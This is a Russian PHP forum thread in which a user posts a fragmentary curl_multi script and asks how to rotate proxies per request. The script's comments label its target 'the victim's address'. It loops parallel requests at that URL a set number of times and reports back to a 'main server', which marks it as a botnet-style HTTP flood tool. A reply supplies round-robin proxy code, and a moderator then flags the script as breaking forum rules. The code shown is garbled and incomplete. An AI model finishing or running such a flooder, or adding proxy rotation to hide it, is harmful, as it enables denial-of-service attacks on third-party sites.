PHP . SU
Программирование на PHP, MySQL и другие веб-технологии
Описание: Есть скрипт на curl не могу прикрутить прокси
Поиск в теме | Версия для печати
zloy dyx
Отправлено: 14 Февраля, 2015 - 17:10:04
Гость
Покинул форум
Сообщений всего: 103
Дата рег-ции: Авг. 2014
Откуда: Германия
Помог: 0 раз(а)
[+]
Привет. Есть скрипт на curl
PHP:
скопировать код в буфер обмена
<?PHP
$inf11 = $_SERVER [ 'SERVER_NAME' ] . $_SERVER [ 'REQUEST_URI' ] ;
$a11 = $a11 [ 0] ; //точный адрес этого скрипта
$url1 = $_GET [ "url" ] ; //адрес жертвы
$krutisa = $_GET [ "kol" ] ; //количиство циклов
$domen = 'localhost' ; //домен главного сервера
$x = 1 ;
do {
$url1 , $url1 ,
) ;
foreach ( $urls as $url ) {
(
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*;q=0.8' ,
'Accept-Language: ru,en-us;q=0.7,en;q=0.3' ,
'Accept-Encoding: deflate' ,
'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'
) ;
$useragent = "Mozila/4.0(compatible; MSIE 6.0; Windows NT 5.1)" ;
$channels [ $url ] = $ch ;
}
$active = null ;
do {
} while ( $mrc == CURLM_CALL_MULTI_PERFORM) ;
while ( $active && $mrc == CURLM_OK) {
continue ;
}
do {
} while ( $mrc == CURLM_CALL_MULTI_PERFORM) ;
}
foreach ( $channels as $channel ) {
}
} while ( $x ++< $krutisa ) ;
//шлёт ответ главному о завершении
curl_setopt ( $curl , CURLOPT_URL
, 'http://' . $domen . '/otk.php?1&tip=100&url1=' . $a11 . '' ) ; $useragent = "bot/0.9" ;
echo $out ;
}
?>
ребят не работает юзер агент в первых запросах. Не могу понять по чему...
Как сделать что бы прокси менялся при каждом запросе?
Скрипт другой. поправил(Отредактировано автором: 16 Февраля, 2015 - 17:32:29)
Мелкий
Отправлено: 14 Февраля, 2015 - 17:47:15
Активный участник
Покинул форум
Сообщений всего: 11926
Дата рег-ции: Июль 2009
Откуда: Россия, Санкт-Петербург
Помог: 618 раз(а)
Для round-robin распределения:
PHP:
скопировать код в буфер обмена
$rProxyList = new InfiniteIterator
( new ArrayIterator
( array ( 'proxy1' , 'proxy2' , 'proxy3' ) ) ) ;
$rProxyList -> rewind ( ) ;
foreach ( $urls as $url ) {
...
curl_setopt ( $ch , CURLOPT_PROXY
, $rProxyList -> current ( ) ) ; $rProxyList -> next ( ) ;
(Добавление)
Потерял строку, которая итератор-то двигать должна, дописал.
zloy dyx
Отправлено: 16 Февраля, 2015 - 17:02:23
Гость
Покинул форум
Сообщений всего: 103
Дата рег-ции: Авг. 2014
Откуда: Германия
Помог: 0 раз(а)
[+]
Мелкий пишет: Для round-robin распределения:
PHP:
скопировать код в буфер обмена
$rProxyList = new InfiniteIterator
( new ArrayIterator
( array ( 'proxy1' , 'proxy2' , 'proxy3' ) ) ) ;
$rProxyList -> rewind ( ) ;
foreach ( $urls as $url ) {
...
curl_setopt ( $ch , CURLOPT_PROXY
, $rProxyList -> current ( ) ) ; $rProxyList -> next ( ) ;
(Добавление)
Потерял строку, которая итератор-то двигать должна, дописал.
Так и не выйшло вставить...
Я его немножко поправил и теперь не могу задать юзерагента. Точнее он чего то не работает
(Добавление)
Мелкий ну так поправишь мой скрипт?
Отредактировано модератором: Мелкий, 16 Февраля, 2015 - 17:10:25 Скрипт расцениваю как нарушающий правила, пункты 1.6 и 1.7.
Поиск в теме | Версия для печати
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Напишите за меня, пожалуйста »
Все гости форума могут просматривать этот раздел. Только зарегистрированные пользователи могут создавать новые темы в этом разделе. Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
Powered by ExBB FM 1.0 RC1. InvisionExBB